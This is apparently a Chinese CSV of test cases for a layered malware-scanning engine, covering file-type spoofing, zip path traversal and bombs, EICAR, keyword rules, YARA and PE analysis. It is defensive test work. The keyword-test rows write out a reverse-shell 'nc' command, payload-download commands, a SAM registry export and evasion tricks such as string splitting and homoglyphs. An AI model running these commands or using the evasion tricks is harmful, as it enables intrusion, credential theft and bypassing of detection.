MeshSate/用例.csv

用例ID,用例名称,测试目标,样本描述,数量,预期结果,来源,归属
L0-001,正常文件幻数识别-JPG,校验真实文件类型识别能力,标准JPG图片，后缀=真实类型,1,L0命中，识别类型JPG，无风险,自备正常图片,L0
L0-002,正常文件幻数识别-PNG,校验真实文件类型识别能力,标准PNG图片，后缀=真实类型,1,L0命中，识别类型PNG，无风险,自备正常图片,L0
L0-003,正常文件幻数识别-DOCX,校验真实文件类型识别能力,标准docx文档，后缀=真实类型,1,L0命中，识别类型DOCX，无风险,Office自制,L0
L0-004,正常文件幻数识别-PDF,校验真实文件类型识别能力,标准PDF文档，后缀=真实类型,1,L0命中，识别类型PDF，无风险,LibreOffice自制,L0
L0-005,正常文件幻数识别-干净PE,校验真实文件类型识别能力,HelloWorld编译PE，后缀exe,1,L0命中，识别类型PE，标记危险可执行扩展名,自己编译C程序,L0
L0-006,后缀伪装：jpg后缀，实际PE幻数,识别后缀欺骗,文件名test.jpg，文件头MZ（PE）,1,L0命中，告警【后缀伪装，真实类型PE】，高危,010Editor修改文件头,L0
L0-007,后缀伪装：txt后缀，实际PDF幻数,识别后缀欺骗,文件名readme.txt，文件头PDF,1,L0命中，告警【后缀伪装，真实类型PDF】，中危,010Editor修改文件头,L0
L0-008,后缀伪装：png后缀，实际ZIP幻数,识别后缀欺骗,文件名pic.png，文件头504B（ZIP）,1,L0命中，告警【后缀伪装，真实类型ZIP】，中危,010Editor修改文件头,L0
L0-009,双扩展名伪装：report.pdf.exe,识别windows隐藏后缀欺骗,文件名report.pdf.exe，真实PE,1,L0命中，告警【双扩展名伪装，危险可执行后缀】，高危,自制重命名,L0
L0-010,双扩展名伪装：data.txt.ps1,识别windows隐藏后缀欺骗,文件名data.txt.ps1，纯文本ps1,1,L0命中，告警【双扩展名伪装，危险脚本后缀】，高危,自制重命名,L0
L0-011,双扩展名伪装：note.docx.js,识别windows隐藏后缀欺骗,文件名note.docx.js，js文本,1,L0命中，告警【双扩展名伪装，危险脚本后缀】，高危,自制重命名,L0
L0-012,双扩展名伪装：log.xlsx.bat,识别windows隐藏后缀欺骗,文件名log.xlsx.bat，bat文本,1,L0命中，告警【双扩展名伪装，危险脚本后缀】，高危,自制重命名,L0
L0-013,危险扩展名校验：ps1干净文本,危险扩展名标记,空ps1文本文件,1,L0命中，标记危险脚本扩展名，中危,新建文本改后缀,L0
L0-014,危险扩展名校验：bat干净文本,危险扩展名标记,空bat文本文件,1,L0命中，标记危险脚本扩展名，中危,新建文本改后缀,L0
L0-015,危险扩展名校验：cmd干净文本,危险扩展名标记,空cmd文本文件,1,L0命中，标记危险脚本扩展名，中危,新建文本改后缀,L0
L0-016,危险扩展名校验：vbs干净文本,危险扩展名标记,空vbs文本文件,1,L0命中，标记危险脚本扩展名，中危,新建文本改后缀,L0
L0-017,危险扩展名校验：js干净文本,危险扩展名标记,空js文本文件,1,L0命中，标记危险脚本扩展名，中危,新建文本改后缀,L0
L0-018,ZIP单级路径穿越：../test.txt,压缩包路径穿越检测,zip内文件名`../test.txt`，内容无害,1,L0命中，告警【压缩包路径穿越】，高危,Python zipfile脚本生成,L0
L0-019,ZIP多级路径穿越：../../a.txt,压缩包路径穿越检测,zip内文件名`../../a.txt`，内容无害,1,L0命中，告警【压缩包路径穿越】，高危,Python zipfile脚本生成,L0
L0-020,ZIP炸弹42.zip,zip炸弹识别,标准公开测试42.zip,1,L0命中，告警【zip炸弹，解压膨胀比异常】，高危,公开安全测试样本,L0
L0-021,自制小型zip炸弹（自定义高膨胀比）,zip炸弹识别,自制小体积高膨胀zip,1,L0命中，告警【zip炸弹，解压膨胀比异常】，高危,Python脚本生成,L0
L0-022,3层无害嵌套ZIP,嵌套压缩解析,zip套zip套zip，内部无风险,1,L0识别多层嵌套，无告警，正常解析,手动打包,L0
L0-023,5层无害嵌套ZIP,嵌套压缩解析,5层嵌套压缩，内部无风险,1,L0识别多层嵌套，无告警，正常解析,手动打包,L0
L0-024,密码加密ZIP包,加密压缩识别,zip设置打开密码，内部干净文件,1,L0识别【加密压缩包】，策略可配置放行/告警，低危,压缩软件打包设密码,L0
L0-025,截断损坏ZIP头,畸形压缩容错,二进制截断zip文件头部,1,L0解析不崩溃，返回【压缩包损坏】，不阻断服务,010Editor截断二进制,L0
L0-026,损坏ZIP目录项,畸形压缩容错,zip目录项篡改，其余正常,1,L0解析不崩溃，返回【压缩包损坏】，不阻断服务,010Editor篡改二进制,L0
L0-027,超大文件名（255字符）压缩包内文件,文件名边界校验,压缩包内文件名超长,1,L0正常解析，可按策略告警超长文件名,Python脚本生成,L0
L0-028,unicode特殊字符文件名压缩包,文件名编码容错,压缩包内文件名带中文、emoji、特殊unicode,1,L0正常解析文件名，不崩溃,Python脚本生成,L0
L0-029,空文件（0字节）后缀exe,0字节文件识别,0字节，后缀exe,1,L0识别真实类型未知，标记危险后缀，低危,新建0字节文件,L0
L0-030,多层嵌套+路径穿越组合压缩包,复合风险检测,嵌套zip内部包含../穿越文件名,1,L0命中，告警【压缩包路径穿越】，高危,Python脚本生成,L0
L1-001,EICAR标准测试串文本,基础签名命中,标准EICAR测试文件（行业无害测试串）,1,L1命中，ClamAV识别EICAR测试病毒，高危,ClamAV官方clamav-testfiles,L1
L1-002,EICAR放入zip压缩包,压缩内EICAR递归扫描,zip打包EICAR文件,1,L1递归解析，命中EICAR，高危,自制打包EICAR,L1
L1-003,EICAR放入密码zip（加密）,加密包内EICAR无法扫描,加密zip内含EICAR,1,L1无法解析加密内容，不命中，L0标记加密包,自制打包加密EICAR,L1
L1-004,EICAR放入docx内嵌（OLE）,文档内嵌EICAR递归扫描,docx OLE内嵌EICAR文本,1,L2解析OLE，L1命中EICAR，高危,Office自制嵌入,L1+L2
L1-005,修改1字节EICAR，破坏签名,签名匹配校验,EICAR串改动一个字符，破坏特征,1,L1不命中，无告警,手动修改EICAR文本,L1
L1-006,干净jpg图片（对照负样本）,干净样本不误报,正常jpg图片,1,L1无命中，无风险,自备正常图片,L1
L1-007,干净docx文档（对照负样本）,干净样本不误报,正常空白docx,1,L1无命中，无风险,Office自制,L1
L1-008,干净hello PE（对照负样本）,干净样本不误报,无特征HelloWorld PE,1,L1无命中，无风险,自己编译,L1
L1-009,离线病毒库热加载-正常库,离线库更新能力,标准正常cvd/ndb病毒库文件，替换后扫描EICAR,1,热加载成功，扫描EICAR正常命中,ClamAV官方库文件,L1
L1-010,离线病毒库-损坏库文件,引擎容错降级,损坏的病毒库文件，启动扫描服务,1,引擎日志告警库损坏，引擎优雅降级，不崩溃，可配置策略放行/阻断,手动篡改库文件,L1
L1-011,EICAR放在多层嵌套zip,多层嵌套递归扫描,三层zip嵌套，最内层EICAR,1,L1递归扫描命中EICAR，高危,自制打包,L1
L1-012,EICAR base64编码文本,编码后EICAR特征,EICAR串base64编码放在txt,1,L1默认不命中（ClamAV不解码base64），记录边界,base64编码工具生成,L1
L1-013,超大文件内含EICAR,大文件扫描性能,100MB文本，末尾追加EICAR串,1,L1命中EICAR，统计扫描耗时,自制大文本,L1
L1-014,并发多EICAR样本压测,并发下引擎稳定性,同时提交10个EICAR文件,1,全部正常命中，无引擎卡死、内存泄漏,复制EICAR文件,L1
L1-015,ClamAV引擎关闭开关验证,分层开关控制,关闭L1，提交EICAR,1,L1不参与扫描，不命中，其余层级正常工作,复用EICAR样本,L1
L3-001,PS1明文：Invoke-WebRequest下载,明文高危串命中,ps1文本：`Invoke-WebRequest https://xxx -o payload.exe`,1,L3命中，告警【远程下载执行特征】，高危,手写文本,L3
L3-002,PS1明文：反弹shell nc,明文高危串命中,ps1文本：`nc 1.2.3.4 4444 -e cmd.exe`,1,L3命中，告警【反弹Shell特征】，高危,手写文本,L3
L3-003,bat明文：curl下载payload,明文高危串命中,bat文本：`curl http://xxx/payload -o evil.exe`,1,L3命中，告警【远程下载执行特征】，高危,手写文本,L3
L3-004,文本包含mimikatz关键字,凭据窃取特征命中,txt文本写入mimikatz,1,L3命中，告警【凭据窃取工具关键字】，高危,手写文本,L3
L3-005,文本包含reg save导出注册表,凭据导出特征命中,txt：`reg save HKLM\SAM sam.save`,1,L3命中，告警【凭据导出特征】，高危,手写文本,L3
L3-006,文本包含rdp、tscon劫持关键字,远程会话劫持特征,txt写入tscon、rdp相关关键字,1,L3命中，告警【远程会话劫持特征】，中危,手写文本,L3
L3-007,高危串base64编码放在txt,编码绕过测试,将Invoke-WebRequest整串base64编码,1,L3默认不命中（无解码逻辑），记录边界,base64工具编码,L3
L3-008,Powershell字符串拆分拼接绕过,字符串拆分绕过测试,`$a="Invo";$b="ke-WebRequest"`,1,L3默认不命中，记录绕过边界,手写ps1,L3
L3-009,高危串插入大量换行分割,换行分割绕过,`Invoke-Web`\n`Request`,1,L3根据是否开启多行匹配判定，记录结果,手写文本,L3
L3-010,高危串插入注释分割（powershell #注释）,注释混淆绕过,`Invoke#test-WebRequest`,1,L3根据规则是否支持注释过滤判定，记录结果,手写ps1,L3
L3-011,高危串放js脚本内,多脚本类型匹配,js文本写入wget下载字符串,1,L3命中，告警远程下载特征,手写js,L3
L3-012,正常内网运维curl（白名单对照）,正常业务不误报,bat：`curl http://192.168.1.100/file.zip`（内网示例地址）,1,L3不命中，白名单放行，无告警,手写文本,L3
L3-013,正常scp内网传输脚本（负样本）,合法运维命令不误报,bash脚本内网scp传输文件,1,L3不命中，无告警,手写文本,L3
L3-014,高危字符串放在zip内部txt,压缩包内文本递归匹配,zip打包包含L3-001的ps1,1,L3递归解析，命中告警,自制打包,L3
L3-015,高危字符串放在docx文本正文,文档文本匹配,docx正文写入Invoke-WebRequest,1,L3解析文档文本，命中告警,Office自制文档,L3
L3-016,空脚本文件（负样本）,空文件不误报,空白ps1文本,1,L3无命中，无风险,新建文件,L3
L3-017,多条高危特征同文件复合,多特征同时命中,txt同时包含nc反弹+mimikatz,1,L3命中两条规则，输出全部命中项,手写文本,L3
L3-018,高危字符串大小写混写,大小写匹配策略,`iNvOkE-WebReQuEsT`,1,按配置（是否忽略大小写）判定命中与否，记录策略,手写文本,L3
L3-019,unicode同形字混淆高危串,同形字绕过测试,使用视觉相似unicode字符替换字母,1,L3默认不命中，记录绕过边界,unicode混淆工具生成,L3
L3-020,日志文件混杂正常日志+高危串,日志文件扫描,日志文本，正常日志中间插入反弹shell字符串,1,L3命中高危串告警,手写日志,L3
L3-021,高危字符串放在eml邮件正文,邮件文本匹配,eml正文写入下载命令,1,L3解析邮件正文，命中告警,Thunderbird自制eml,L3
L3-022,关闭L3层，提交带高危串ps1,分层开关控制,关闭L3，提交L3-001样本,1,L3不扫描，无关键词告警，其余层级正常工作,复用L3-001,L3
L3-023,高危字符串放在密码加密zip,加密包无法读取文本,加密zip内含带高危串txt,1,L3无法解析加密内容，不命中,自制加密zip,L3
L3-024,超长单行文本（10万字符）包含高危串,长文本解析稳定性,单行超长文本嵌入高危关键字,1,L3正常匹配命中，不卡死OOM,脚本生成长文本,L3
L3-025,关键词白名单规则测试,白名单优先级,命中高危串，同时匹配白名单规则,1,L3不告警，白名单优先,手写文本+配置白名单,L3
L4-001,YARA单规则正向命中,基础规则匹配,txt包含`Invoke-WebRequest`,1,L4命中test_reverse规则，告警YARA匹配，中危,手写文本，配套测试YARA,L4
L4-002,YARA负样本，不匹配规则,干净样本不误报,空白txt，无匹配字符串,1,L4无命中，无风险,新建文本,L4
L4-003,PE文件内包含匹配字符串,二进制内字符串匹配,hello PE，硬编码写入Invoke-WebRequest字符串,1,L4命中YARA规则，中危,自己修改编译源码,L4
L4-004,同一个文件同时命中2条YARA规则,多规则同时命中,文件同时匹配规则A、规则B,1,L4返回两条命中规则，全部输出,自制样本+两条测试YARA,L4
L4-005,YARA规则热加载：新增规则后命中,规则热更新能力,新增一条YARA规则，提交对应样本,1,热加载成功，样本正常命中新规则,手写YARA+样本,L4
L4-006,YARA语法错误规则导入,规则容错，不崩溃,一条语法写错的YARA规则加入规则集,1,系统日志告警规则语法错误，跳过坏规则，其余规则正常扫描,手写错误YARA,L4
L4-007,YARA规则设置metadata标签,元数据输出校验,带meta描述的YARA规则，命中样本,1,命中时同步输出meta家族、描述信息,手写带meta的YARA,L4
L4-008,压缩包内文件匹配YARA规则,递归扫描zip内文件,zip打包L4-001样本,1,L4递归解析，命中YARA规则,自制打包,L4
L4-009,加密zip内样本，YARA无法扫描,加密包跳过,加密zip内含匹配YARA的文件,1,L4无法解析加密内容，不命中,自制加密zip,L4
L4-010,YARA 字符串正则匹配测试,正则型YARA规则,YARA正则匹配shell特征串，配套样本,1,匹配成功则命中,手写正则YARA+样本,L4
L4-011,YARA 计数条件规则测试（count > 3）,条件逻辑校验,文件内出现4次匹配字符串,1,L4命中规则,手写YARA+样本,L4
L4-012,YARA 大小条件规则测试（文件大小）,文件大小条件,规则限定文件size，配套符合/不符合样本,1,符合size条件命中，不符合不命中,手写YARA+样本,L4
L4-013,超大文件YARA扫描性能,大文件扫描稳定性,100MB文本，包含匹配串,1,L4正常命中，统计耗时,脚本生成大文本,L4
L4-014,关闭L4开关，提交YARA命中样本,分层开关控制,关闭L4层，提交L4-001样本,1,L4不参与扫描，无YARA告警，其余层级正常工作,复用L4-001样本,L4
L4-015,YARA规则白名单哈希,哈希白名单优先,样本命中YARA，但md5在白名单,1,L4不告警，白名单生效,复用L4-001+配置白名单,L4
L5-001,原生干净HelloWorld PE（无壳）,干净PE不误报,C编译hello，无壳、无异常导入、节属性正常,1,L5无命中，无风险,gcc编译,L5
L5-002,同一HelloWorld UPX加壳,UPX壳识别,上面hello，upx -9加壳,1,L5命中，告警【PE被UPX加壳】，中危,upx工具加壳,L5
L5-003,UPX加壳PE，二次压缩,多层壳识别,UPX壳后再次打包UPX,1,L5识别UPX壳，中危,upx多次压缩,L5
L5-004,PE存在RWX可写可执行节,可疑节属性识别,hello PE，修改节属性为RWX，代码无害,1,L5命中，告警【PE存在RWX可执行节】，高危,PE-Bear修改节头,L5
L5-005,PE导入表：VirtualAlloc + WriteProcessMemory + CreateRemoteThread（不调用）,可疑导入组合识别,程序引入这三个API，但是代码完全不调用,1,L5命中，告警【存在远程注入可疑导入组合】，高危,C源码引入API，不调用，编译,L5
L5-006,PE导入单个VirtualAlloc，无其他注入API,单一可疑API,仅导入VirtualAlloc,1,L5命中，告警【包含可疑内存API】，低危,C源码编译,L5
L5-007,PE节名异常（随机乱码节名）,异常节名识别,修改节名称为乱码字符串,1,L5命中，告警【PE节名称异常】，低危,PE-Bear修改,L5
L5-008,PE导出表异常（大量导出函数）,导出表异常识别,生成大量导出函数的无害PE,1,L5命中，告警【导出表数量异常】，低危,编译设置导出,L5
L5-009,PE资源段内嵌文本字符串,资源段解析,资源段放入shell字符串,1,L5识别资源段，可联动L3/L4匹配,修改源码编译,L5
L5-010,畸形PE：PE签名0x5A4D错误,PE头校验,修改MZ签名为其他值,1,L5识别畸形PE，告警【PE头非法】，不崩溃,010Editor修改,L5
L5-011,截断PE：节表不完整,截断PE容错,PE二进制截断，节表缺失,1,L5解析不崩溃，返回畸形PE告警,010Editor截断,L5
L5-012,32位正常PE对照,32/64位识别,32位hello PE,1,L5识别32位PE，无异常告警,gcc -m32编译,L5
L5-013,64位正常PE对照,32/64位识别,64位hello PE,1,L5识别64位PE，无异常告警,gcc -m64编译,L5
L5-014,PE导入表大量系统API（正常工具）,正常工具不误报,正常开源小工具（如md5sum）PE,1,L5无命中，无风险,编译开源代码,L5
L5-015,PE重定位表损坏,重定位表容错,篡改重定位表数据,1,L5识别畸形PE，告警，服务不崩溃,PE-Bear修改,L5
L5-016,零节PE（无节表）,极端畸形PE,构造无节表的最小PE,1,L5识别畸形PE，告警,PE工具构造,L5
L5-017,UPX壳 + RWX节复合特征,多特征复合命中,UPX壳同时RWX节,1,L5同时命中两条告警，全部输出,PE-Bear修改UPX样本,L5
L5-018,PE内嵌debug调试信息,调试信息识别,带pdb调试信息的PE,1,L5识别包含调试信息，低危告警（策略可配置）,编译加-g调试符号,L5
L5-019,超大PE（200MB）静态解析性能,大PE解析稳定性,200MB无害PE,1,L5正常解析，统计扫描耗时，不OOM,脚本生成大PE,L5
L5-020,关闭L5开关，提交RWX节PE,分层开关控制,关闭L5层，提交L5-004样本,1,L5不扫描，无二进制告警，其余层级正常工作,复用L5-004样本,L5
NEG-001,业务标准JPG图片,图片不误报,业务实拍jpg,1,所有层级无命中，无风险,业务收集干净样本,全层
NEG-002,业务PNG图片,图片不误报,业务png截图,1,所有层级无命中，无风险,业务收集干净样本,全层
NEG-003,业务MP4视频,视频不误报,业务短视频mp4,1,所有层级无命中，无风险,业务收集干净样本,全层
NEG-004,业务正常docx报表,办公文档不误报,业务报表docx，无宏无OLE,1,所有层级无命中，无风险,业务收集干净样本,全层
NEG-005,业务正常xlsx表格,办公文档不误报,业务xlsx，无宏,1,所有层级无命中，无风险,业务收集干净样本,全层
NEG-006,业务正常PDF报告,PDF不误报,业务PDF，无JS无动作,1,所有层级无命中，无风险,业务收集干净样本,全层
NEG-007,业务源码java文件,源代码不误报,正常java源码,1,所有层级无命中，无风险,业务收集干净样本,全层
NEG-008,业务源码python脚本,良性脚本不误报,业务正常python脚本，内网逻辑,1,所有层级无命中，无风险,业务收集干净样本,全层
NEG-009,正常业务压缩包zip,普通压缩包不误报,业务打包zip，无嵌套、无穿越,1,所有层级无命中，无风险,业务收集干净样本,全层
NEG-010,正常业务安装包（干净开源）,正常安装包不误报,开源干净程序安装包,1,所有层级无命中，无风险,开源项目下载,全层
NEG-011,正常日志文件,日志不误报,业务正常运行日志,1,所有层级无命中，无风险,业务收集干净样本,全层
NEG-012,正常csv业务数据文件,数据文件不误报,业务csv数据,1,所有层级无命中，无风险,业务收集干净样本,全层
NEG-013,正常eml业务邮件（无附件、无外联恶意）,正常邮件不误报,内部业务邮件eml,1,所有层级无命中，无风险,业务收集干净样本,全层
NEG-014,正常dll（系统干净dll）,良性dll不误报,系统自带干净dll,1,所有层级无命中，无风险,系统提取,全层
NEG-015,正常字体文件ttf,字体文件不误报,ttf字体,1,所有层级无命中，无风险,开源字体,全层
NEG-016,正常CAD图纸,图纸文件不误报,dwg图纸,1,所有层级无命中，无风险,业务收集干净样本,全层
NEG-017,多层嵌套干净zip（无风险）,良性嵌套压缩不误报,4层嵌套干净zip,1,所有层级无命中，无风险,自制打包,全层
NEG-018,正常bat运维脚本（内网备份）,良性运维脚本不误报,内网备份bat，无高危命令,1,所有层级无命中，无风险,业务脚本,全层
NEG-019,正常ps1运维脚本（内网查询）,良性ps1不误报,内网信息查询ps1,1,所有层级无命中，无风险,业务脚本,全层
NEG-020,正常odt文档,开源文档不误报,LibreOffice odt文档,1,所有层级无命中，无风险,自制,全层